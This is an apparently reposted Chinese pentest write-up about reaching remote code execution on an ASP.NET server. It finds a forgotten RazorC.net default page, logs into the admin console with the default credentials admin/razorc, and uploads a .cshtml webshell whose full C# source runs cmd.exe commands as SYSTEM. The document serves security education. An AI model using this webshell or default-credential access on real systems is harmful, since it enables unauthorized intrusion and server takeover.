從404到默認頁面,通過.cshtml拿到webshel??l
開始
.cshtml是什麼? 可能一些人知道,但是我確定很大一部分人是不知道的。.cshtml是MVC3之後新增的視圖文件,跟原先的aspx很相似。
404錯誤
做一次外部安全評估之前,我一般從被動信息收集開始,收集過程中使用多個工具,如Sublister,DNS查詢,Google dork和SSL證書,找到儘可能多的資源。通過這些方式收集到的信息,有時候我們打開一個網站,返回的響應是403或者404。
作為一個"黑客"或者安全人士,我們無法容忍給出的403錯誤,我需要了解伺服器的架構,會不會存在多餘的信息,或者存在默認的頁面。
我喜歡使用fuzz工具fuzz網站目錄及文件,我常用的fuzz工具是DirBuster,由於DirBuster單純的使用字典來fuzz目錄,那麼我們需要長期維護自己的字典。打開一個網站的跟目錄,返回404的錯誤,但是我運行DirBuster幾分鐘之後,得到了一個路徑"vulnerability.com/application/Default",返回200錯誤。
訪問管理控制台
使用瀏覽器打開這個網址的時候,發現是一個默認的頁面,可能是管理員忘記刪除。默認頁面Razorc.Net。
RazorC是使用Razor語法的CMS。Razor是ASP.Net Razor,它是用於使用C#或Visual Basic創建動態網站的語言。我注意到上圖中有最後一行有趣的內容。「Go to your_domain.com/rcAdmin to access control panel (default user: 「admin」, pwd: 「razorc」)」
如果忘記刪除這個默認頁面及忘記更改默認密碼。
通過測試,管理員忘記刪除更改默認密碼,我們可以登錄到管理控制台,這時候更接近我們的目標,我們來通過後台獲取一個webshell。
上傳webshell
Razorc.net在他們的頁面描述,你非常容易改變現有的頁面布局。我快速查看管理控制台,發現可以編輯每個頁面的內容。我決定學習Razor語法,學會如何使用它。
熟悉Razor的語法以及它的工作原理
Main Razor Syntax Rules for C#
Razor code blocks are enclosed in @{ … }
Inline expressions (variables and functions) start with @
Code statements end with semicolon
Variables are declared with the var keyword
Strings are enclosed with quotation marks
C# code is case sensitive
C# files have the extension .cshtml
通過學習,我知道了Razor是一種模板語言,具有與其他同類語言相似的語法。它使用C#來創建動態內容,它在執行的伺服器端生成用戶的視圖。最後,文件的擴展名為.cshtml,正如我們在帖子開頭提到的那樣。現在我們來編寫一些C#代碼來實現Razor語法之後的Remote命令執行。
經過一些測試,我們得到以下代碼。
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by Niemand):
@cmd
我們通過RazorC管理控制台將此的代碼保存在.cshtml文件中:訪問.cshtml文件,輸出nt authoritysystem
代碼被執行,意味可以執行遠程執行代碼。
結論
剛開始滲透測試的時候並不期望在伺服器上找到漏洞顯而易見的漏洞。我們在掃描伺服器這幾天,有很多存活的機器但是沒有提供應用程序。但是我們發現默認頁面之後,繼續利用這個默認頁面進行信息收集,直到我們得到目標及伺服器。
說實話,第一次實驗沒有拿到webshell。因為我們發現RazorC.net是一種模板語言不知道如何使用它,但是有很多關於互聯網上的Razor語法的信息,當然我們開始嘗試簡單的學習:
@{
var weekDay = DateTime.Now.DayOfWeek;
}
Today is @weekDay
通過學習,我們了解Razor語法跟工作原理之後才開始上傳我們的webshell。


※http81殭屍網路預警:專門攻擊攝像頭,國內5萬台設備已淪陷
※DNSPod客服審核不嚴,導致國內某技術論壇域名被劫持一小時
※Google零日漏洞獵手再次為Windows 發現高危漏洞
※如何使用任務計劃程序繞過UAC?
※維基解密再爆CIA工具,可重定向目標計算機流量
TAG:嘶吼RoarTalk |
※默認就封鎖Flash的Chrome 76來了
※Flash真的快死了,Chrome 76 beta版已經默認禁用它了
※TensorFlow 2.0將把Eager Execution變為默認執行模式
※三月開始Office.com將成為Office 365用戶的默認登陸頁面
※Edge再見,微軟要用Chromium取代Win10默認瀏覽器
※默認終端 + iTerm2 + agnoster theme +……打造macOS終端
※ubuntu環境下,apache更改默認埠80,以其他埠作為socket的方式
※Fedora 31默認禁用OpenSSH root密碼登錄
※獨家 | TensorFlow 2.0將把Eager Execution變為默認執行模式,你該轉向動態計算圖了
※Fedora 29將GCC從默認的Build Root中刪除
※Google從2020 年起不再強制歐洲地區 Android 默認搜索引擎
※Google 從 2020 年起不再強制歐洲地區 Android 默認搜索引擎
※新Apple Watch為65+用戶默認開啟跌倒檢測
※Ubuntu MATE 18.04 LTS將推出新默認布局「Familiar」
※Ubuntu MATE 18.04 LTS將啟用Familiar新版默認布局
※如何使用react-redux-form填充動態默認值
※bitcoin.com錢包默認BCH為比特幣
※Python可視化工具Matplotlib 3.0版出爐,改進默認後端選擇,餅圖終於變圓了
※Centos7默認firewalld防火牆使用命令
※RHEL 8或將默認使用python3